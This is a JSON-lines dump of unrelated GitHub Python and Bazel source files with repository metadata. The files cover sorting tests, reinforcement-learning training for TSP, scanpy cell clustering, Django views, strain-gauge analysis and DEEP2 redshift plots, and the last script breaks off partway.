TestBubbleSort(unittest.TestCase):\n def test_bubble_sort(self):\n unsorted_arr = [5, 3, 1, 2, 4]\n\n sorted_arr = [1, 2, 3, 4, 5]\n\n self.assertListEqual(bubble_sort(unsorted_arr), sorted_arr, \"should be sorted\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Xavier577/DSA","sub_path":"algorithms/bubble_sort/bubble_sort.test.py","file_name":"bubble_sort.test.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"21549101064","text":"import math\nfrom pprint import pprint\nimport wandb\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.cuda.amp as amp\nfrom environments import TSP2OPTEnv\nfrom environments.tsp_2opt import TSP2OPTState\nfrom torch.utils.tensorboard.writer import SummaryWriter\nfrom torch_discounted_cumsum import discounted_cumsum_right\nfrom torch_geometric.data import Batch, Data\nfrom torch_geometric.utils import to_dense_batch\n\n\n# buffer to store experiences\nclass Buffer:\n def __init__(self):\n self.actions = []\n self.log_probs = []\n self.rewards = []\n self.values = []\n self.entropies = []\n\n def clear_buffer(self):\n del self.actions[:]\n del self.log_probs[:]\n del self.rewards[:]\n del self.values[:]\n del self.entropies[:]\n\n\ndef clip_grad_norms(param_groups, max_norm=math.inf):\n \"\"\"\n Clips the norms for all param groups to max_norm and returns gradient norms before clipping\n :param optimizer:\n :param max_norm:\n :param gradient_norms_log:\n :return: grad_norms, clipped_grad_norms: list with (clipped) gradient norms per group\n \"\"\"\n grad_norms = [\n torch.nn.utils.clip_grad_norm_(\n group[\"params\"],\n max_norm if max_norm > 0 else math.inf, # Inf so no clipping but still call to calc\n norm_type=2,\n )\n for group in param_groups\n ]\n grad_norms_clipped = [min(g_norm, max_norm) for g_norm in grad_norms] if max_norm > 0 else grad_norms\n return grad_norms, grad_norms_clipped\n\n\ndef reinforce_train_batch(\n model: nn.Module,\n optimizer: optim.Optimizer,\n scaler: amp.grad_scaler.GradScaler,\n batch: Batch,\n epoch: int,\n batch_id: int,\n step: int,\n learn_count: int,\n env: TSP2OPTEnv,\n logger: SummaryWriter,\n args,\n) -> int:\n batch = batch.to(args.device)\n node_pos = to_dense_batch(batch.pos, batch.batch)[0]\n buffer = Buffer()\n done = False\n batch_reward = 0\n state = env.reset(T=args.max_num_steps, node_pos=node_pos)\n # embed_data = model.init_embed(batch)\n # node_embeddings, _ = model.encoder(embed_data)\n while not done:\n count = 0\n with amp.autocast_mode.autocast(enabled=True):\n embed_data = model.init_embed(batch)\n node_embeddings, _ = model.encoder(embed_data)\n while count < args.horizon and not done:\n with amp.autocast_mode.autocast(enabled=True):\n action, log_p, value = model(state, node_embeddings, embed_data.batch)\n state, reward, done, _ = env.step(action.squeeze())\n batch_reward += reward\n buffer.actions.append(action)\n buffer.log_probs.append(log_p)\n buffer.rewards.append(reward)\n buffer.values.append(value)\n count += 1\n learn_count = update_model(optimizer, scaler, buffer, state, done, epoch, count, learn_count, step, logger, args)\n\n logger.add_scalar(\"batch_rewards_train\", batch_reward.mean().item(), step)\n\n return learn_count\n\n\ndef update_model(\n optimizer: optim.Optimizer,\n scaler: amp.grad_scaler.GradScaler,\n buffer: Buffer,\n state: TSP2OPTState,\n done: bool,\n epoch: int,\n count: int,\n learn_count: int,\n global_step: int,\n logger: SummaryWriter,\n args,\n):\n\n rewards = torch.stack(buffer.rewards, dim=0) # [horizon, batch_size, 1]\n returns = discounted_return(rewards, args.gamma, count) # [horizon, batch_size, 1]\n if not args.no_norm_return:\n r_mean = returns.mean()\n r_std = returns.std()\n eps = torch.finfo(torch.float).eps # small number to avoid div/0\n returns = (returns - r_mean) / (r_std + eps)\n values = torch.stack(buffer.values, dim=0) # [horizon, batch_size, 1]\n advantages = (returns - values).detach() # [horizon, batch_size, 1]\n\n logps = torch.stack(buffer.log_probs, dim=0) # [horizon, batch_size, 2, graph_size]\n actions = torch.stack(buffer.actions, dim=0) # [horizon, batch_size, 2, 1]\n log_likelihood = logps.gather(-1, actions).squeeze(-1) # [horizon, batch_size, 2]\n log_likelihood = log_likelihood.mean(2).unsqueeze(2) # [horizon, batch_size, 1]\n\n entropies = log_p_to_entropy(logps).mean(2).unsqueeze(2) # [horizon, batch_size, 1]\n\n p_loss = (-log_likelihood * advantages).mean()\n v_loss = args.value_beta * (returns - values).pow(2).mean()\n e_loss = (0.9 ** (epoch + 1)) * args.entropy_beta * entropies.sum(0).mean()\n r_loss = -e_loss + v_loss\n loss = p_loss + r_loss\n\n optimizer.zero_grad()\n scaler.scale(p_loss).backward(retain_graph=True)\n # scaler.unscale_(optimizer)\n grad_norms = clip_grad_norms(optimizer.param_groups) #, args.max_grad_norm)\n scaler.scale(r_loss).backward(retain_graph=False)\n scaler.step(optimizer)\n scaler.update()\n\n buffer.clear_buffer()\n log_values(\n cost=state.best_tour_len,\n grad_norms=grad_norms,\n done=done,\n epoch=epoch,\n global_step=global_step,\n learn_count=learn_count,\n p_loss=p_loss,\n v_loss=v_loss,\n e_loss=e_loss,\n loss=loss,\n returns=returns.mean(),\n value=values.mean(),\n entropy=entropies.detach().mean(),\n logger=logger,\n args=args,\n )\n\n learn_count += 1\n\n return learn_count\n\n\ndef discounted_return(rewards: torch.Tensor, gamma: int, count: int):\n assert rewards.dim() == 3\n assert rewards.size(0) == count\n assert rewards.size(2) == 1\n\n # transpose `rewards` as function `discounted_cumsum` apply on second dim\n # squeeze `rewards` as function `discounted_cumsum` only work for 2-dim-tensor\n returns = discounted_cumsum_right(rewards.squeeze(2).T, gamma).T\n\n return returns.unsqueeze(2)\n\n\ndef log_p_to_entropy(log_probs):\n min_real = torch.finfo(log_probs.dtype).min\n clamped_log_probs = torch.clamp(log_probs, min=min_real)\n p_log_p = log_probs.exp() * clamped_log_probs\n\n return -p_log_p.sum(-1)\n\n\ndef log_values(\n cost,\n grad_norms,\n done,\n epoch,\n global_step,\n learn_count,\n p_loss,\n v_loss,\n e_loss,\n loss,\n returns,\n value,\n entropy,\n logger: SummaryWriter,\n args,\n):\n avg_len = cost.mean().item()\n grad_norms, grad_norms_clipped = grad_norms\n if done:\n # Log values to screen\n print(\"epoch: {}, learn_count: {}, avg_best_cost: {}\".format(epoch, learn_count, avg_len))\n print(\"grad_norm: {}, clipped: {}\".format(grad_norms, grad_norms_clipped))\n logger.add_scalar(\"tour_len_train\", avg_len, global_step)\n wandb.log({\"tour_len_train\": avg_len})\n\n # Log values to tensorboard\n\n logger.add_scalar(\"grad_norm\", grad_norms[0], learn_count)\n logger.add_scalar(\"grad_norm_clipped\", grad_norms_clipped[0], learn_count)\n\n logger.add_scalar(\"loss_policy\", p_loss.item(), learn_count)\n logger.add_scalar(\"loss_baseline\", v_loss.item(), learn_count)\n logger.add_scalar(\"loss_entropy\", e_loss.item(), learn_count)\n logger.add_scalar(\"loss\", loss.item(), learn_count)\n logger.add_scalar(\"env_returns\", returns.item(), learn_count)\n logger.add_scalar(\"predict_value\", value.item(), learn_count)\n\n wandb.log(\n {\n \"grad_norm\": grad_norms[0],\n \"loss_policy\": p_loss.item(),\n \"loss_baseline\": v_loss.item(),\n \"loss_entropy\": e_loss.item(),\n \"entropy\":entropy.item(),\n }\n )\n","repo_name":"neo-pan/TSP-experiment","sub_path":"rl_algorithms/reinforce_2opt.py","file_name":"reinforce_2opt.py","file_ext":"py","file_size_in_byte":7448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15485165963","text":"def adamatch_hyperparams(lr=3e-3, tau=0.9, wd=5e-4, scheduler=True):\n \"\"\"\n Return a dictionary of hyperparameters for the AdaMatch algorithm.\n\n Arguments:\n ----------\n lr: float\n Learning rate.\n\n tau: float\n Weight of the unsupervised loss.\n\n wd: float\n Weight decay for the optimizer.\n\n scheduler: bool\n Will use a StepLR learning rate scheduler if set to True.\n\n Returns:\n --------\n hyperparams: dict\n Dictionary containing the hyperparameters. Can be passed to the `hyperparams` argument on AdaMatch.\n \"\"\"\n \n hyperparams = {'learning_rate': lr,\n 'tau': tau,\n 'weight_decay': wd,\n 'step_scheduler': scheduler\n }\n\n return hyperparams","repo_name":"zysymu/AdaMatch-pytorch","sub_path":"hyperparameters.py","file_name":"hyperparameters.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"3"} +{"seq_id":"11574258351","text":"import numpy as np\n\nimport pytest\n\nfrom josie.bc import BoundaryCondition, ScalarBC\nfrom josie.dimension import Dimensionality\nfrom josie.mesh import Mesh\nfrom josie.mesh.cell import SimpleCell\nfrom josie.mesh.cellset import MeshCellSet\nfrom josie.solver import Solver\nfrom josie.general.schemes.diffusive.lstsq import LeastSquareGradient\n\n\n@pytest.fixture\ndef gradient_one_boundaries(boundaries, Q):\n \"\"\"Change the BCs to enforce the gradient == 1 also on ghost cells\"\"\"\n\n class GradientOneBC(ScalarBC):\n def __call__(self, cells, ghost_cells, field, t):\n num_ghosts_x, num_ghosts_y, _ = ghost_cells.centroids.shape\n return np.sum(ghost_cells.centroids, axis=-1).view(Q)\n\n left, bottom, right, top = boundaries\n\n bc = BoundaryCondition(Q(GradientOneBC()))\n\n left.bc = bc\n right.bc = bc\n top.bc = bc\n bottom.bc = bc\n\n yield (left, bottom, right, top)\n\n\n@pytest.fixture(params=(Dimensionality.ONED, Dimensionality.TWOD))\ndef mesh(request, gradient_one_boundaries):\n left, bottom, right, top = gradient_one_boundaries\n\n ny = 3\n\n # Hack for 1D\n if request.param < 2:\n # Remove the curve, for 1D we must have straight lines\n bottom = top\n top.bc = None\n bottom.bc = None\n ny = 1\n\n mesh = Mesh(left, bottom, right, top, SimpleCell)\n mesh.interpolate(3, ny)\n mesh.generate()\n\n yield mesh\n\n\n@pytest.fixture\ndef init_fun(Q):\n r\"\"\"Init the state in order to have gradient == 1 in all the cells, in all\n directions\n\n .. math::\n\n \\phi\\qty(\\vb{x}) = x + y\n\n \"\"\"\n\n def init_fun(cells: MeshCellSet):\n # The np.newaxis to take into account the num_dofs dimension of the\n # array\n cells.values = np.sum(cells.centroids, axis=-1)[..., np.newaxis].view(Q)\n\n yield init_fun\n\n\ndef test_least_square_gradient(mocker, tol, mesh, Q, init_fun):\n \"\"\"Test that calculating the gradient on a field having unitary gradient\n components actually returns 1 for all components on all cells\"\"\"\n\n # Patch LeastSquareGradient to allow init even if it's an ABC\n mocker.patch.object(LeastSquareGradient, \"__abstractmethods__\", set())\n problem = mocker.Mock()\n\n scheme = LeastSquareGradient(problem)\n\n solver = Solver(mesh, Q, scheme)\n solver.init(init_fun)\n\n scheme.pre_step(mesh.cells, 0)\n scheme.pre_accumulate(mesh.cells, 0, 0)\n\n assert np.all(np.abs(scheme._gradient - 1) < tol)\n","repo_name":"hpc-maths/josiepy","sub_path":"tests/test_gradient.py","file_name":"test_gradient.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43285078400","text":"from django.shortcuts import render, redirect\nfrom .models import Article, Comment\nfrom .forms import ArticleForm\nfrom .forms import Comment as CommentForm\n# Create your views here.\n\ndef index(req):\n articles = Article.objects.all()\n cxt = {'articles' : articles}\n return render(req, 'articles/index.html', cxt)\n\ndef create(req):\n if req.method == 'POST':\n articleform = ArticleForm(req.POST)\n if articleform.is_valid():\n savearticle = articleform.save()\n return redirect('articles:detail', savearticle.pk)\n else:\n articleform = ArticleForm()\n cxt = {\n 'articleform' : articleform\n }\n return render(req, 'articles/create.html', cxt)\n\ndef detail(req, pk):\n article = Article.objects.get(pk=pk)\n cxt = {\n 'article' : article,\n 'comments' : article.comment_set.all(),\n }\n return render(req, 'articles/detail.html', cxt)\n","repo_name":"OIIUOI/Multicampus","sub_path":"221026/pjt/articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"19587176550","text":"from setuptools import setup, find_packages\nimport codecs\n\nversion = '0.2.dev0'\n\n\ndef read(filename):\n return unicode(codecs.open(filename, encoding='utf-8').read())\n\nlong_description = '\\n\\n'.join([read('README.rst'), read('CHANGES.rst')])\n\nsetup(\n name='dogpile_elasticache',\n version=version,\n description=\"Dogpile backend for AWS Elasticache Memcache service\",\n long_description=long_description,\n classifiers=[\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: POSIX :: Linux\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2.7\",\n ],\n keywords='dogpile cache aws elasticache memcache',\n author='Pior Bastida',\n author_email='pbastida@ludia.com',\n url='https://github.com/ludia/dogpile_elasticache',\n license='MIT',\n packages=find_packages(),\n install_requires=[\n 'dogpile.cache',\n 'pymemcache',\n ],\n extras_require={\n 'test': ['nose', 'nosexcover', 'mock', 'zest.releaser[recommended]'],\n },\n entry_points={\n 'dogpile.cache': [\n 'elasticache_pymemcache = '\n 'dogpile_elasticache.backends:ElasticachePyMemcacheBackend',\n ],\n },\n)\n","repo_name":"ludia/dogpile_elasticache","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42312968891","text":"#this program will take the voltage drop across a strain gauge and known strain values and will determine the gauge factor of the strain gauge.\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom scipy import stats\n\npd.set_option('precision', 8)\n\n\n#Load data from the .csv file.\ndata = pd.read_csv('GaugeFactor_worksheet.csv')\nstrain = data.iloc[0:6,0]\nstrain1 = pd.to_numeric(strain)\n#Locates the most recently added voltage drop data, on the far right.\nvoltage = data.iloc[0:6,-1]\n\n#Locates the Vpp used during testing.\nvpp = data.iloc[-1,-1]\n\n#Size of the large resistor in series that helps calculate the assumed constant current.\ntotal_resistance = 25e6\n\n#Convertes values in dataframe that can be used to perform math on each other\nvoltage1 = pd.to_numeric(voltage)\nvpp1 = pd.to_numeric(vpp)\n\n#Finds the constant current\ncurrent = vpp1/total_resistance\n\n#Finds the resistance of the strain gauge\nresistance = voltage1/current\n#Finds the minimum resistance value\nminresistance = resistance.min()\n#Calculates the change in resistance from the 0 strain value.\ndelta = resistance-minresistance\n#Calculate delta R/R\ndelta_R = delta/resistance\nplot_data = pd.DataFrame({'Delta R/R': delta_R,'Strain': strain1})\n\ndef compute_limits(x, y, margin = 0.05):\n x_plot_range = strain1.max()-strain1.min()\n y_plot_range = delta_R.max()-delta_R.min()\n \n x_sx_lim = x.min()-margin*x_plot_range\n x_dx_lim = x.max()+ margin*x_plot_range\n y_sx_lim = y.min()-margin*y_plot_range\n y_dx_lim = y.max()+ margin*y_plot_range\n\n return x_sx_lim, x_dx_lim, y_sx_lim, y_dx_lim\n\n\n\n#Linear Regression of plotted data\nslope, intercept, r_value, p_value, std_err = stats.linregress(strain1, delta_R)\n\n#Setting axes limits\n\nplt.text(strain1.max()*0.05, delta_R.max()*0.95,'Gauge Factor = '+ str(round(slope,2)), ha='left', va='top')\nplt.text(strain1.max()*0.05, delta_R.max()*0.88, '$R^2$ = '+ str(round(r_value**2,2)), ha='left', va='top')\naxes = plt.gca()\n\nl_x_sx, l_x_dx, l_y_sx, l_y_dx = compute_limits(strain1,delta_R, margin = 0.10)\n\naxes.set_xlim([l_x_sx, l_x_dx])\naxes.set_ylim([l_y_sx, l_y_dx])\naxes.tick_params(axis='both', which='both', direction='in', bottom=True, top=True, left=True, right=True) \nplt.scatter(strain1, delta_R, s = 60, color = 'blue')\nplt.plot(strain, strain*slope + intercept, 'r')\nplt.xlabel('Strain', fontsize = 16)\nplt.ylabel('ΔR/R', fontsize = 16)\nplt.locator_params(axis='y', nbins=6)\nplt.locator_params(axis='x', nbins=8)\n#Scatter plot settings\n\n\nplt.show()\n#plt.scatter(strain1, delta_R)\n#slope, intercept = np.polyfit(strain1, delta_R, 1)\n#print(slope)\n#plt.plot(strain, strain*slope + intercept, 'r')\n#plt.show()\n","repo_name":"snowbrdtw16/StrainGauge","sub_path":"gauge_factor.py","file_name":"gauge_factor.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"70858517201","text":"import re\nimport os\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport scanpy as sc\nimport anndata as ad\n\n'''\nParse arguments.\nInput file is required.\n'''\ndef parseArgs():\n parser = argparse.ArgumentParser(description='Cluster cell types using mcmicro marker expression data.')\n parser.add_argument('-i', '--input', help=\"Input CSV of mcmicro marker expression data for cells\", type=str, required=True)\n parser.add_argument('-o', '--output', help='The directory to which output files will be saved', type=str, required=False)\n parser.add_argument('-m', '--markers', help='A text file with a marker on each line to specify which markers to use for clustering', type=str, required=False)\n parser.add_argument('-k', '--neighbors', help='the number of nearest neighbors to use when clustering. The default is 30.', default=30, type=int, required=False)\n parser.add_argument('-c', '--method', help='Include a column with the method name in the output files.', action=\"store_true\", required=False)\n parser.add_argument('-y', '--config', help='A yaml config file that states whether the input data should be log/logicle transformed.', type=str, required=False)\n parser.add_argument('--force-transform', help='Log transform the input data. If omitted, and --no-transform is omitted, log transform is only performed if the max value in the input data is >1000.', action='store_true', required=False)\n parser.add_argument('--no-transform', help='Do not perform Log transformation on the input data. If omitted, and --force-transform is omitted, log transform is only performed if the max value in the input data is >1000.', action='store_true', required=False)\n args = parser.parse_args()\n return args\n\n\n'''\nGet input data file name\n'''\ndef getDataName(path):\n fileName = path.split('/')[-1] # get filename from end of input path\n dataName = fileName[:fileName.rfind('.')] # get data name by removing extension from file name\n return dataName\n\n\n'''\nGet markers to use for clustering from a text file where each marker is on a line and corresponds exactly to the column name in the input data file.\nReturns a list of markers to use for clustering.\n'''\ndef get_markers(markers_file):\n markers = [] # list of markers in file\n\n # read markers from file\n f = open(markers_file, 'r')\n for line in f:\n markers.append(line.strip())\n\n return markers\n\n\n'''\nClean data in input file.\nNOTE: Currently we are doing this with pandas however, using csv might be faster, or numpy.\n\nExclude the following data from clustering:\n - X_centroid, …, Extent, Orientation - morphological features\n - Any of the following DNA stains\n - DNA0, DNA1, DNA2, …\n - Hoechst0, Hoechst1, ....\n - DAPI0, DAPI1, …\n - AF* (e.g., AF488, AF555, etc.) - autofluorescence\n - A* (e.g., A488, A555, etc.) - secondary antibody staining only\n\nTo include any of these markers in the clustering, provide their exact names in a file passed in with the '-m' flag\n'''\ndef clean(input_file):\n\n # constants\n\n # a default list of features to exclude from clustering\n FEATURES_TO_REMOVE = ['X_centroid', 'Y_centroid', # morphological features\n 'column_centroid', 'row_centroid', \n 'Area', 'MajorAxisLength', \n 'MinorAxisLength', 'Eccentricity', \n 'Solidity', 'Extent', 'Orientation', \n 'DNA.*', 'Hoechst.*', 'DAP.*', # DNA stain\n 'AF.*', # autofluorescence\n 'A\\d{3}.*'] # secondary antibody staining only (iy has to have 3 digist after)\n\n # load csv\n data = pd.read_csv(input_file)\n\n # if markers provided, keep only those features and the Cell IDs. It is important that the CellID column is first.\n if args.markers:\n if CELL_ID not in markers: # add cell ID to list of columns to keep\n markers.insert(0, CELL_ID)\n elif markers.index(CELL_ID) != 0: # if cell ID column is included but not first, move it to the front\n markers.insert(0, markers.pop(markers.index(CELL_ID)))\n data = data[markers]\n else:\n # find any columns in the input csv that should be excluded from clustering be default\n # NOTE: may want to replace this with regex, it might be faster.\n col_to_remove = []\n cols = data.columns\n for feature in FEATURES_TO_REMOVE:\n r = re.compile(feature)\n col_to_remove.extend(list(filter(r.match, cols)))\n \n # drop all columns that should be excluded\n data = data.drop(columns=col_to_remove, axis=1)\n\n # save cleaned data to csv\n data.to_csv(f'{output}/{clean_data_file}', index=False)\n\n\n'''\nWrite CELLS_FILE from leidenCluster() adata\n'''\ndef writeCells(adata):\n cells = pd.DataFrame(adata.obs[CELL_ID].astype(int)) # extract cell IDs to dataframe\n cells[CLUSTER] = adata.obs[LEIDEN] # extract and add cluster assignments to cells dataframe\n\n # add in method column if requested\n if args.method:\n cells[METHOD] = SCANPY\n\n cells.to_csv(f'{output}/{cells_file}', index=False)\n\n\n'''\nWrite CLUSTERS_FILE from leidenCluster() adata\n'''\ndef writeClusters(adata):\n clusters = pd.DataFrame(columns=adata.var_names, index=adata.obs[LEIDEN].cat.categories) \n clusters.index.name = CLUSTER # name indices as cluster column\n for cluster in adata.obs.leiden.cat.categories: # this assumes that LEIDEN = 'leiden' if the name is changed, replace it for 'leiden' in this line\n clusters.loc[cluster] = adata[adata.obs[LEIDEN].isin([cluster]),:].X.mean(0)\n \n # add in method column if requested\n if args.method:\n clusters[METHOD] = SCANPY\n\n clusters.to_csv(f'{output}/{clusters_file}')\n\n\n'''\nGet max value in dataframe.\n'''\ndef getMax(df):\n return max([n for n in df.max(axis = 0)])\n\n\n\n'''\nCluster data using the Leiden algorithm via scanpy\n'''\ndef leidenCluster():\n\n sc.settings.verbosity = 3 # print out information\n adata_init = sc.read(f'{output}/{clean_data_file}', cache=True) # load in clean data\n\n # move CellID info into .obs\n # this assumes that 'CELL_ID' is the first column in the csv\n adata_init.obs[CELL_ID] = adata_init.X[:,0]\n adata = ad.AnnData(np.delete(adata_init.X, 0, 1), obs=adata_init.obs, var=adata_init.var.drop([CELL_ID]))\n\n # log transform the data according to parameter. If 'auto,' transform only if the max value >1000. Don't do anything if transform == 'false'. Write transform decision to yaml file.\n if transform == 'true':\n sc.pp.log1p(adata, base=10)\n writeConfig(True)\n elif transform == 'auto' and getMax(adata.X) > 1000:\n sc.pp.log1p(adata, base=10)\n writeConfig(True)\n else:\n writeConfig(False)\n\n # compute neighbors and cluster\n sc.pp.neighbors(adata, n_neighbors=args.neighbors, n_pcs=10) # compute neighbors, using the first 10 principle components and the number of neighbors provided in the command line. Default is 30.\n sc.tl.leiden(adata, key_added = LEIDEN, resolution=1.0) # run leidan clustering. default resolution is 1.0\n\n # write cell/cluster information to 'CELLS_FILE'\n writeCells(adata)\n\n # write cluster mean feature expression to 'CLUSTERS_FILE'\n writeClusters(adata)\n\n\n'''\nWrite to a yaml file whether the data was transformed or not.\n'''\ndef writeConfig(transformed):\n os.mkdir('qc')\n with open('qc/config.yml', 'a') as f:\n f.write('---\\n')\n if transformed:\n f.write('transform: true')\n else:\n f.write('transform: false')\n\n\n'''\nRead config.yml file contents.\n'''\ndef readConfig(file):\n f = open(file, 'r')\n lines = f.readlines()\n\n # find line with 'transform:' in it\n for l in lines:\n if 'transform:' in l.strip():\n transform = l.split(':')[-1].strip() # get last value after colon\n\n return transform\n\n\n'''\nMain.\n'''\nif __name__ == '__main__':\n args = parseArgs() # parse arguments\n\n # get user-defined output dir (strip last slash if present) or set to current\n if args.output is None:\n output = '.'\n elif args.output[-1] == '/':\n output = args.output[:-1]\n else:\n output = args.output\n\n # get list of markers if provided\n if args.markers is not None:\n markers = get_markers(args.markers)\n\n # assess log transform parameter\n if args.force_transform and not args.no_transform:\n transform = 'true'\n elif not args.force_transform and args.no_transform:\n transform = 'false'\n elif args.config is not None:\n transform = readConfig(args.config)\n else:\n transform = 'auto'\n\n # constants\n CELL_ID = 'CellID' # column name holding cell IDs\n CLUSTER = 'Cluster' # column name holding cluster number\n LEIDEN = 'leiden' # obs name for cluster assignment\n METHOD = 'Method' # name of column containing the method for clustering\n SCANPY = 'Scanpy' # the name of this method\n \n # output file names\n data_prefix = getDataName(args.input) # get the name of the input data file to add as a prefix to the output file names\n clean_data_file = f'{data_prefix}-clean.csv' # name of output cleaned data CSV file\n clusters_file = f'{data_prefix}-clusters.csv' # name of output CSV file that contains the mean expression of each feaute, for each cluster\n cells_file = f'{data_prefix}-cells.csv' # name of output CSV file that contains each cell ID and it's cluster assignation\n \n # clean input data file\n clean(args.input)\n\n # cluster using scanpy implementation of Leiden algorithm\n leidenCluster()\n","repo_name":"labsyspharm/mcmicro-scanpy","sub_path":"cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":9657,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"8209232443","text":"#!/usr/bin/env python\n\n# Use builtin lib if lxml not available\n# import xml.etree.ElementTree as ET\nimport lxml.etree as ET\n\n# Read and parse XML file\ndoc = ET.parse('data/solar.xml')\n\n# Get the root (outermost) element — \"solarsystem\"\nroot = doc.getroot()\n\n# Loop over tags; these are just strings; this is not XML-related\nfor tag in 'inner', 'outer', 'dwarf':\n\n # Print out tag\n print('{}:'.format(tag.title()))\n\n # Find the child of the root element whose name is \"innerplanets\", \"outerplanets\", etc.,\n section = root.find('{}planets'.format(tag))\n\n # Loop through the children of that section (which are all \"planet\" tags)\n for planet in section:\n\n # For each planet element, get the value of the \"planetname\" attribute.\n print('\\t' + planet.get(\"planetname\"))\n","repo_name":"conalryan/python-notes","sub_path":"serializing_data/xml_planet_nav.py","file_name":"xml_planet_nav.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71513249682","text":"load(\n \"@build_bazel_rules_apple//apple/internal/aspects:swift_usage_aspect.bzl\",\n \"SwiftUsageInfo\",\n)\n\ndef _uses_swift(targets):\n \"\"\"Returns True if any of the given targets uses Swift.\n\n Note that this is not propagated through extensions or child apps (such as\n Watch) -- that is, an Objective-C application that contains a Swift\n application extension does not \"use Swift\" in the sense denoted by this\n function.\n\n Args:\n targets: List of targets to check.\n\n Returns:\n True if any of the targets directly uses Swift; otherwise, False.\n \"\"\"\n for target in targets:\n if SwiftUsageInfo in target:\n return True\n return False\n\n# Define the loadable module that lists the exported symbols in this file.\nswift_support = struct(\n uses_swift = _uses_swift,\n)\n","repo_name":"bazelbuild/rules_apple","sub_path":"apple/internal/swift_support.bzl","file_name":"swift_support.bzl","file_ext":"bzl","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":446,"dataset":"github-code","pt":"3"} +{"seq_id":"23195970172","text":"from utils import *\n\ndef load_DEEP2(fname, ibool=None):\n tbl = load_fits_table(fname)\n if ibool is not None:\n tbl = tbl[ibool]\n\n ra, dec = tbl[\"RA_DEEP\"], tbl[\"DEC_DEEP\"]\n tycho = tbl[\"TYCHOVETO\"]\n B, R, I = tbl[\"BESTB\"], tbl[\"BESTR\"], tbl[\"BESTI\"]\n cn = tbl[\"cn\"]\n w = tbl[\"TARG_WEIGHT\"]\n redz = tbl[\"RED_Z\"]\n oii = tbl[\"OII_3727\"] * 1e17\n zquality = tbl[\"ZQUALITY\"]\n return ra, dec, tycho, B, R, I, cn, w, redz, oii, zquality\n\ndir_derived = \"../data/derived/\"\ndir_figure = \"../figures/\"\nprint(\"Import estimated areas\")\nareas = np.load(dir_derived+\"spec-area.npy\") \n\n\n\n# Based on the combined DEEP2 photometric and redshift catalogs, the target probability weighted properties of ELG in the three Fields should be comparable. Compare the following quantities: \n# redshift distribution, OII distribution, BRI-magnitude-color distribution, color-color distribution\n\nfield_colors = [\"black\", \"red\", \"blue\"]\nft_size = 15\nft_size2 = 20\n\n# Fig 1: Redshift and OII comparison\nplt.close()\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize = (16, 7))\nredz_bins = np.arange(0, 2, 0.025)\noii_bins = np.arange(-2, 40, 0.5)\nfor i, fnum in enumerate([2, 3, 4]):\n fname = dir_derived+\"deep2-f%d-photo-redz-oii.fits\" % fnum\n ra, dec, tycho, B, R, I, cn, w, redz, oii, zquality = load_DEEP2(fname)\n ibool = (tycho==0) & np.logical_or.reduce((cn==0, cn==1))\n ra, dec, tycho, B, R, I, cn, w, redz, oii, zquality = load_DEEP2(fname, ibool)\n \n # Redshift\n ax1.hist(redz, bins=redz_bins, color=field_colors[i], histtype=\"step\", alpha=0.9, lw=2.5, label=\"F%d\" % fnum, weights=w/areas[i])\n ax1.set_xlim([0.5, 1.7])\n ax1.legend(loc=\"upper right\", fontsize=ft_size)\n ax1.set_xlabel(\"Redshift z\", fontsize=ft_size2)\n ax1.set_ylabel(\"dNd(0.025z)\", fontsize=ft_size2)\n\n # OII\n ax2.hist(oii, bins=oii_bins, color=field_colors[i], histtype=\"step\", lw=2, label=\"F%d\" % fnum, weights=w/areas[i])\n ax2.set_xlim([-2, 40])\n ax2.legend(loc=\"upper right\", fontsize=ft_size)\n ax2.set_xlabel(\"OII * 1e17\", fontsize=ft_size2)\n ax2.set_ylabel(\"dNd(0.5OII)\", fontsize=ft_size2)\n \nplt.savefig(dir_figure + \"DEEP2-redz-oii-hist.png\", dpi=200, bbox_inches=\"tight\")\n# plt.show()\nplt.close()\n\nBRI_names = [\"B\", \"R\", \"I\"]\n\n# BRI magnitude distributions\nplt.close()\nfig, ax_list = plt.subplots(1, 3, figsize = (25, 7))\nmag_bins = np.arange(19, 28, 0.1)\nfor j, fnum in enumerate([2, 3, 4]):\n fname = dir_derived+\"deep2-f%d-photo-redz-oii.fits\" % fnum\n ra, dec, tycho, B, R, I, cn, w, redz, oii, zquality = load_DEEP2(fname)\n ibool = (tycho==0) & np.logical_or.reduce((cn==0, cn==1))\n ra, dec, tycho, B, R, I, cn, w, redz, oii, zquality = load_DEEP2(fname, ibool)\n \n for i, mag in enumerate([B, R, I]):\n ax_list[i].hist(mag, bins=mag_bins, color=field_colors[j], histtype=\"step\", alpha=0.9, lw=2.5, label=\"F%d\" % fnum, weights=w/areas[j])\n ax_list[i].set_xlim([19, 28])\n ax_list[i].legend(loc=\"upper right\", fontsize=ft_size)\n ax_list[i].set_xlabel(BRI_names[i], fontsize=ft_size2)\n 